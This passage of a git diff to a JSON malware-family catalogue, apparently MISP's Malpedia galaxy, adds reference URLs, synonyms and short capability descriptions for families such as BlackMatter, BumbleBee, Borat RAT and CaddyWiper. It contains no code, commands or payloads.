"https://www.zscaler.com/blogs/security-research/analysis-blackguard-new-info-stealer-malware-being-sold-russian-hacking", + "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", + "https://cyberint.com/blog/research/blackguard-stealer/", + "https://www.youtube.com/watch?v=Fd8WjxzY2_g", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-blackguard-infostealer", + "https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/", + "https://www.zdnet.com/article/meet-blackguard-a-new-infostealer-peddled-on-russian-hacker-forums/", + "https://medium.com/s2wblog/rising-stealer-in-q1-2022-blackguard-stealer-f516d9f85ee5", + "https://thehackernews.com/2022/04/experts-shed-light-on-blackguard.html", + "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://medium.com/s2wblog/the-history-of-blackguard-stealer-86207e72ffb4" + ], + "synonyms": [], + "type": [] + }, + "uuid": "86048398-cfc2-4d6c-a49f-9114e2966b61", + "value": "BlackGuard" + }, { "description": "", "meta": { @@ -11460,6 +13685,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackkingdom_ransomware", "https://news.sophos.com/en-us/2021/03/23/black-kingdom/", "https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://id-ransomware.blogspot.com/2020/02/blackkingdom-ransomware.html", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", @@ -11476,23 +13702,57 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://blog.group-ib.com/blackmatter#", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", "https://www.mcafee.com/blogs/enterprise/blackmatter-ransomware-analysis-the-dark-side-returns/", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", - "https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/", + "https://www.netskope.com/blog/netskope-threat-coverage-blackmatter", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", + "https://www.mandiant.com/resources/cryptography-blackmatter-ransomware", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://blog.group-ib.com/blackmatter#", + "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", "https://blog.minerva-labs.com/blackmatter", "https://www.tesorion.nl/en/posts/analysis-of-the-blackmatter-ransomware/", - "https://www.ciphertechsolutions.com/rapidly-evolving-blackmatter-ransomware-tactics/", - "https://www.netskope.com/blog/netskope-threat-coverage-blackmatter", + "https://blog.group-ib.com/blackmatter2", "https://blog.digital-investigations.info/2021-08-05-understanding-blackmatters-api-hashing.html", - "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://www.nozominetworks.com/blog/blackmatter-ransomware-technical-analysis-and-tools-from-nozomi-networks-labs/" + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://services.google.com/fh/files/misc/gcat_threathorizons_full_nov2021.pdf", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://www.ciphertechsolutions.com/rapidly-evolving-blackmatter-ransomware-tactics/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.varonis.com/blog/blackmatter-ransomware/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", + "https://www.nozominetworks.com/blog/blackmatter-ransomware-technical-analysis-and-tools-from-nozomi-networks-labs/", + "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", + "https://twitter.com/GelosSnake/status/1451465959894667275" ], "synonyms": [], "type": [] @@ -11501,12 +13761,13 @@ "value": "BlackMatter (Windows)" }, { - "description": "Advanced and modern Windows botnet with PHP panel developed using VB.NET", + "description": "Advanced and modern Windows botnet with PHP panel developed using VB.NET. It has a lot of functionalities including: stealing/grabbing files and passwords, keylogging, cryptojacking, loading files, executing commands, etc. It is open source and emerged at the end of 2019.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacknet_rat", "https://github.com/BlackHacker511/BlackNET/", "http://www.pwncode.io/2019/12/blacknet-rat-when-you-leave-panel.html", + "https://github.com/mave12/BlackNET-3.7.0.1", "https://blog.malwarebytes.com/threat-analysis/2020/03/fake-corona-antivirus-distributes-blacknet-remote-administration-tool/", "https://labs.k7computing.com/?p=21365", "https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware", @@ -11691,6 +13952,33 @@ "uuid": "b34fd401-9d37-4bc6-908f-448c1697f749", "value": "BLINDTOAD" }, + { + "description": "Elastic observed this loader coming with valid code signatures, being used to deploy secondary payloads in-memory.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister", + "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", + "https://redcanary.com/blog/intelligence-insights-january-2022/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://elastic.github.io/security-research/malware/2022/05/02.blister/article/", + "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/", + "https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign", + "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-2/", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" + ], + "synonyms": [ + "COLORFAKE" + ], + "type": [] + }, + "uuid": "8ffc1f23-c0a6-4186-b06e-11a72c153722", + "value": "Blister" + }, { "description": "", "meta": { @@ -11726,9 +14014,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer", - "https://decoded.avast.io/anhho/blustealer/", "https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/", + "https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs", + "https://decoded.avast.io/anhho/blustealer/", "https://twitter.com/GoSecure_Inc/status/1437435265350397957", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer" ], "synonyms": [ @@ -11739,6 +14029,19 @@ "uuid": "cb4bfed3-3042-4a29-a72d-c8b5c510faea", "value": "BluStealer" }, + { + "description": "FIN7 uses this malware as helper module during intrusion operations. BOATLAUNCH is continuously looking for PowerShell processes on infected systems and patches them to bypuss Windows AntiMalware Scan Interface (AMSI).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch", + "https://www.mandiant.com/resources/evolution-of-fin7" + ], + "synonyms": [], + "type": [] + }, + "uuid": "13e62fe0-af0e-4a44-8437-ed86101f12d4", + "value": "BOATLAUNCH" + }, { "description": "", "meta": { @@ -11781,11 +14084,25 @@ "uuid": "d3af810f-e657-409c-b821-4b1cf727ad18", "value": "Bolek" }, + { + "description": "This in .Net written malware is a classic information stealer. It can collect various information and can be depoyed in different configurations: \"The full-featured version of the malware can log keystrokes, collect profile files of Mozilla Firefox and Google Chrome browsers, record sound from the microphone, grab desktop screenshots, capture photo from the webcam, and collect information about the version of the operation system and installed anti-virus software.\" (ESET)\r\nThis malware has been active since at least 2012.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookofeli", + "https://www.welivesecurity.com/2016/09/22/libya-malware-analysis/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2029a6f7-f98e-4582-bc5b-7ff0188f1af2", + "value": "Book of Eli" + }, { "description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], @@ -11811,6 +14128,21 @@ "uuid": "174b9314-765e-44d0-a761-10d352f4466c", "value": "BOOTWRECK" }, + { + "description": "The Borat RAT comes bundled with its components (e.g. binary builder, supporting modules, server certificates). According to Cyble this malware is an unique combination of RAT, Spyware, and ransomware.\r\nThe supporting modules are included; a few of the capabilities: Keylogger, Ransomware, Audio/Webcam Recording, Process Hollowing, Browser Credential/Discord Token Stealing, etc.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.boratrat", + "https://www.bleepingcomputer.com/news/security/new-borat-remote-access-malware-is-no-laughing-matter/", + "https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7ff0b462-c5be-40fa-82da-7efe93722f92", + "value": "Borat RAT" + }, { "description": "", "meta": { @@ -11872,8 +14204,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul", - "https://www.us-cert.gov/ncas/alerts/TA18-149A", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", "https://www.secureworks.com/research/threat-profiles/nickel-academy", + "https://www.us-cert.gov/ncas/alerts/TA18-149A", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/", "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A", @@ -11903,6 +14237,19 @@ "uuid": "fbed27da-551d-4793-ba7e-128256326909", "value": "BravoNC" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Brbbot/Brbbot.md" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b9a4455a-ad55-4858-9017-bb73a8640045", + "value": "BrbBot" + }, { "description": "This is a backdoor which FireEye call the Breach Remote Administration Tool (BreachRAT), written in C++. The malware name is derived from the hardcoded PDB path found in the RAT: C:\\Work\\Breach Remote Administration Tool\\Release\\Client.pdb", "meta": { @@ -11943,6 +14290,19 @@ "uuid": "55d343a1-7e80-4254-92eb-dfb433b91a90", "value": "Bredolab" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brittle_bush", + "https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fd4665b8-59b6-427f-a22d-bb3b50e9e176", + "value": "BrittleBush" + }, { "description": "", "meta": { @@ -12037,9 +14397,13 @@ "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf", + "https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/", "http://www.secureworks.com/research/threat-profiles/gold-symphony", "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", + "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://blog.minerva-labs.com/stopping-buerloader", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", @@ -12048,6 +14412,7 @@ "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", "http://www.secureworks.com/research/threat-profiles/gold-blackburn", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", "https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", @@ -12057,7 +14422,8 @@ "https://twitter.com/StopMalvertisin/status/1182505434231398401", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96", - "https://twitter.com/SophosLabs/status/1321844306970251265" + "https://twitter.com/SophosLabs/status/1321844306970251265", + "https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html" ], "synonyms": [ "Buerloader", @@ -12108,6 +14474,34 @@ "uuid": "fa278536-8293-4717-86b5-8a03aa11063f", "value": "Buhtrap" }, + { + "description": "This malware is delivered by an ISO file, with an DLL inside with a custom loader. Because of the unique user-agent \"bumblebee\" this malware was dubbed BUMBLEBEE. At the time of Analysis by Google's Threat Analysis Group (TAG) BumbleBee was observed to fetch Cobalt Strike Payloads.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", + "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://isc.sans.edu/diary/28636", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://isc.sans.edu/diary/rss/28664", + "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming", + "https://isc.sans.edu/diary/rss/28636", + "https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/", + "https://www.bleepingcomputer.com/news/security/new-bumblebee-malware-replaces-contis-bazarloader-in-cyberattacks/", + "https://research.openanalysis.net/bumblebee/malware/loader/unpacking/2022/05/12/bumblebee_loader.html", + "https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fa47d59d-7251-468f-9d84-6e1ba21887db", + "value": "BumbleBee" + }, { "description": "", "meta": { @@ -12215,6 +14609,47 @@ "uuid": "fe1d51d8-f0e8-4f71-bf5c-724f7d4a824c", "value": "CabArt" }, + { + "description": "CaddyWiper is another destructive malware believed to be deployed to target Ukraine.\r\n\r\nCaddyWiper wipes all files under C:\\Users and all also all files under available drives from D: to Z: by overwriting the data with NULL value. If the target file is greater than 0xA00000 bytes in size (10MB), it will only wipe the first 0xA00000 bytes.\r\n\r\nIt also wipes disk partitions from \\\\.\\PHYSICALDRIVE9 to \\\\.\\PHYSICALDRIVE0 by overwriting the first 0x780 bytes with NULL.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", + "https://cert.gov.ua/article/39518", + "https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html", + "https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine", + "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/", + "https://cybernews.com/cyber-war/new-destructive-wiper-malware-deployed-in-ukraine/", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", + "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", + "https://twitter.com/HackPatch/status/1503538555611607042", + "https://www.nioguard.com/2022/03/analysis-of-caddywiper.html", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/", + "https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine", + "https://securityintelligence.com/posts/caddywiper-malware-targeting-ukrainian-organizations/", + "https://cybersecuritynews.com/destructive-data-wiper-malware/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", + "https://twitter.com/silascutler/status/1513870210398363651", + "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", + "https://n0p.me/2022/03/2022-03-26-caddywiper/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.splunk.com/en_us/blog/security/threat-update-caddywiper.html", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-caddywiper", + "https://twitter.com/ESETresearch/status/1503436420886712321", + "https://securityaffairs.co/wordpress/129069/cyber-warfare-2/caddywiper-wiper-hits-ukraine.html" + ], + "synonyms": [ + "KillDisk.NCX" + ], + "type": [] + }, + "uuid": "c6053700-5f3b-48cc-8176-191393522fc3", + "value": "CaddyWiper" + }, { "description": "", "meta": { @@ -12246,6 +14681,21 @@ "uuid": "52c0b49b-d57e-400d-8808-a00d4171ac05", "value": "CALMTHORN" }, + { + "description": "PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html" + ], + "synonyms": [ + "StormKitty" + ], + "type": [] + }, + "uuid": "d3fb548f-64cb-4997-8262-1dca695fbae2", + "value": "Cameleon" + }, { "description": "", "meta": { @@ -12314,19 +14764,22 @@ "https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe", "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.secureworks.com/research/threat-profiles/gold-niagara", "https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest", "https://threatintel.blog/OPBlueRaven-Part2/", "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html", "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" ], "synonyms": [ - "Anunak" + "Anunak", + "Sekur RAT" ], "type": [] }, @@ -12432,6 +14885,7 @@ "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/", "https://risky.biz/whatiswinnti/", + "https://stmxcsr.com/persistence/print-processor.html", "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", "https://blog.avast.com/progress-on-ccleaner-investigation", "https://www.wired.com/story/ccleaner-malware-targeted-tech-firms", @@ -12441,7 +14895,8 @@ "https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident", "http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor", "https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/", - "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html" + "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot" ], "synonyms": [ "DIRTCLEANER" @@ -12473,15 +14928,18 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/", - "https://www.youtube.com/watch?v=y8Z9KnL8s8s", + "https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", + "https://www.youtube.com/watch?v=y8Z9KnL8s8s", "https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/" ], @@ -12503,6 +14961,46 @@ "uuid": "ba7706c1-7d2a-4031-9acc-cb862860da1a", "value": "Cerbu" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceta_rat", + "https://blogs.quickheal.com/cetarat-apt-group-targeting-the-government-agencies/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388" + ], + "synonyms": [], + "type": [] + }, + "uuid": "12d2d503-def6-4161-bd42-2093ccad49bd", + "value": "CetaRAT" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.chachi", + "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6a3e6f07-1aaa-4af5-8bd3-96898aca3510", + "value": "ChaChi" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaes", + "https://decoded.avast.io/anhho/chasing-chaes-kill-chain/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0d4ab3af-189f-49af-b47a-9b25f59f9a12", + "value": "Chaes" + }, { "description": "", "meta": { @@ -12525,8 +15023,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos", + "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree", + 